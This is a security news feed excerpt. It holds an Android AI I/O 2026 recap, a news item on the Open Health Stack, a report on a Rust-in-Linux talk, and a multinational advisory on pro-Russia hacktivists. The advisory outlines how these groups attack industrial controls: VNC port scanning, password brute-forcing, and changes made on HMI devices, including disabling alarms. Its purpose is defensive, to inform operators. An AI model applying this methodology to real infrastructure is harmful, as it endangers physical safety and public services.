<description><![CDATA[Posted by Jingyu Shi, Staff Developer Relations EngineerAt Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. ...]]></description>
<link>https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:43 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqtr_NVZaXiVnywBK8bKIamZw4oM3DFopMeWXl_DsHJktlRpmuCkOCQEkc85z-xJ8id7DT8ggl6OopYCndxxYb8kA2LIttV3DlL1Mzmt5OffK_Lyq1q_mxg4RdUjQ23rOyNY5N3wopBtBODH-HQsPRqBc8cS8Kw0Azhz14Jn8EjEdKQ3znXGLRVUpM_-g/s4097/Blog_Meta@2x.png">



<i>Posted by Jingyu Shi, Staff Developer Relations Engineer</i><div><i><br></i><div><name content="IMG" twitter:image=""><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s8419/BLOG%20HERO_BLOGGER@2x.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s16000/BLOG%20HERO_BLOGGER@2x.png"></a></div><br><i><br></i><p></p><p><i></i></p><br></name><div>At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here: </div><div><div><name content="IMG" twitter:image=""><br><div class="separator">
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  <br></div></name><h4><name content="IMG" twitter:image=""><b><span>1. Putting your apps at the center of the intelligence system</span></b></name></h4><name content="IMG" twitter:image=""><div>The Android OS already enables agents like <a href="https://www.android.com/gemini-intelligence/?utm_source=blog.google&amp;utm_medium=owned&amp;utm_campaign=next">Gemini</a> to complete task automation, where it can navigate an app on the users behalf. </div><div><br></div><div><a href="https://developer.android.com/ai/appfunctions">AppFunctions</a> (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview. </div><p></p><ul><li><name content="IMG" twitter:image=""><b>Android MCP:</b> AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.</name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Streamlined Development: </b>You can leverage the new <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">skill</a> to easily generate AppFunctions within your codebase.  </name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Exploration and Testing:</b> We’ve released a new <a href="https://github.com/android/appfunctions/releases">test agent</a> that allows you to experiment and debug your AppFunctions in a simulated agent environment. </name></li></ul><span><div align="center" dir="ltr"><table><colgroup><col></colgroup><tbody><tr><td><div><span face='"Google Sans Text", sans-serif'>Early Access Program</span><span face='"Google Sans Text", sans-serif'>: Want to be among the first apps to deploy app functions in production? </span><a href="https://docs.google.com/forms/d/e/1FAIpQLScEoIsgzE-LbgRrYcQMc-Lit_5VlKRA0iWw7Pvg1brIc8wXAw/viewform"><span face='"Google Sans Text", sans-serif'>Join</span></a><span face='"Google Sans Text", sans-serif'> our early access program today!</span></div></td></tr></tbody></table></div></span></name></div><div><br></div><div>To see it in action, check out the live demo showcased during the <i>What’s New</i> in Android presentation.</div><div><br></div><div class="separator">
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  <div><div><span><br></span></div><h4><b> <span>2. On-Device Power with Gemini Nano 4 Preview</span></b></h4><br><div>Last month, we launched <a href="https://android-developers.googleblog.com/2026/04/gemma-4-new-standard-for-local-agentic-intelligence.html">Gemma 4</a>, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">AIcore developer preview</a>. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in <b>ML Kit GenAI APIs</b>: </div><br><p></p><p></p><ul><li><b>Prototype to Production: </b>Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">Prompt API</a> to leverage Gemini Nano 4 that’s launching in flagship devices later this year.</li></ul><p></p><p></p><p></p><ul><li><b>Structured Output:</b> The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features. </li></ul><p></p><p></p><ul><li><b><a href="https://developers.google.com/ml-kit/genai/prompt/android/prefix-caching">Prefix Caching</a>:</b> It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.</li></ul><p></p><div><b><br></b></div><div>For highly customized or niche use cases, you can also use LiteRT-LM to <a href="https://youtu.be/boy-UjB8hpA?si=MCPddRD7eblz8ICr">bring your own</a> fine-tuned small language model to Android.</div></div><br><div class="separator">
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</div><div class="separator"><br></div><div class="separator"><br></div><b><div><b><span>3. Hybrid Inference &amp; Agents</span></b></div></b><div><div><br></div><div>To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:</div><p></p><p></p><ul><li><b><a href="https://android-developers.googleblog.com/2026/04/Hybrid-inference-and-new-AI-models-are-coming-to-Android.html">Firebase AI Logic Hybrid Inference</a>: </b>This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as <code>PREFER_ON_DEVICE</code>, <code>PREFER_CLOUD</code>, <code>ONLY_ON_DEVICE</code>, or <code>ONLY_CLOUD</code>, based on your need.</li></ul><p></p><p></p><p></p><ul><li><b>A2UI Jetpack Compose Renderer:</b> The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.</li></ul><p></p><p></p><ul><li><b><a href="https://developers.googleblog.com/adk-kotlin-android-building-ai-agents/">ADK for Android</a>:</b> The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.</li></ul><div><br></div><div>From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk: </div></div><div> <br><p></p><div class="separator">
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  </div><div class="separator"><br></div><div class="separator"><h3>Start Building Today</h3><div class="separator"><div class="separator"><div class="separator">Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI <a href="https://developer.android.com/ai">hub</a>. For the full breakdown of what’s new, check out the official <b>AI on Android at Google I/O 2026</b> <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-GL3584TkxUyoPfzPkB1mV">playlist</a>.</div><div class="separator"><br></div><div class="separator">We are excited to see what you build! </div><div><br></div></div><div><br></div></div></div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Google Hands Open Health Stack To the Linux Foundation]]></title>
<description><![CDATA[BrianFagioli writes: The Linux Foundation intends to launch the Open Health Stack Software Foundation, a new vendor-neutral home for the Google Open Health Stack project. Google is contributing the project code and assets while Google.org is providing a $3 million grant. The initiative is also ba...]]></description>
<link>https://tsecurity.de/de/3693457/linux-tipps/google-hands-open-health-stack-to-the-linux-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693457/linux-tipps/google-hands-open-health-stack-to-the-linux-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:42 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[BrianFagioli writes: The Linux Foundation intends to launch the Open Health Stack Software Foundation, a new vendor-neutral home for the Google Open Health Stack project. Google is contributing the project code and assets while Google.org is providing a $3 million grant. The initiative is also backed by Microsoft, Anthropic, and the World Health Organization, with the goal of building open source, AI-ready digital health infrastructure. Will moving the project under Linux Foundation governance accelerate adoption, or is this simply another foundation that most developers will never interact with? The new project will focus on core HL7 FHIR technologies for healthcare interoperability, the Open Health Stack Player deployment toolkit, and AI Commons -- a model-agnostic healthcare AI initiative being co-developed with the World Health Organization.
 
A notable part of the announcement is its planned Implementer Program, which aims to give startups, small businesses, and local developers in low- and middle-income countries a formal role in governance. In other words, the effort is not just about building healthcare software standards, but about making sure the people implementing them in underserved markets help shape the project too.<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/09/1659227/google-hands-open-health-stack-to-the-linux-foundation?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Rust Will Help Linux Succeed and Makes Coding Fun, Says Greg Kroah-Hartman]]></title>
<description><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust...]]></description>
<link>https://tsecurity.de/de/3693453/linux-tipps/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693453/linux-tipps/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:26 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust. Git is moving toward Rust. Lots of projects are starting to move toward Rust."
 

He didn't always feel that way. Kroah-Hartman added, "A number of years ago, when a friend of mine said, 'Ah, you got to try this new language. It's called Rust.' I was like, 'What? No, C is great.' His friend continued, "'No, no, no! It makes programming fun again.' I'm like, 'Nah, programming is fun in C.' He was right. I should have done it then. Rust is actually fun. It makes programming fun. It takes a lot of stuff away from having to worry about the compiler, which can fix a lot of your problems for you, and it makes code a little bit better." 

So, Kroah-Hartman has moved from being a Rust skeptic to one of its strongest champions inside the kernel. He now regards Rust as a permanent part of Linux, not an experiment. His case is straightforward: Rust's ownership and type system can eliminate most of the "stupid little tiny things" that dominate kernel Common Vulnerabilities and Exposures (CVEs), while making life easier for overworked maintainers. "Rust," in short, "makes my life so much easier...." In India, he said Linux sees "about 13 CVEs a day" and has been running at "almost nine changes an hour" for a decade or more. Most of those vulnerabilities, he argued, are not exotic attacks but simple C mistakes — unchecked pointers, forgotten unlocks, and sloppy cleanup paths: "This is what we're fixing 13 times a day. Small, trivial, little bugs like this all the time.... I've seen every CVE the kernel has done in the past 25 years. I think 80% would be gone, just because they would be caught by Rust." The remaining 20% are the logic bugs he'd prefer to focus on...." 

 Moreover, Rust is becoming the default for new work in key subsystems. "New drivers for some subsystems are only going to be accepted in Rust...." he said. Binder, the Android IPC mechanism at the heart of billions of devices, now has parallel C and Rust implementations in the kernel. The C version "will go away soon," leaving the Rust version "as the bedrock of all Android devices going forward."<p></p><div class="share_submission">
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<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
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<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
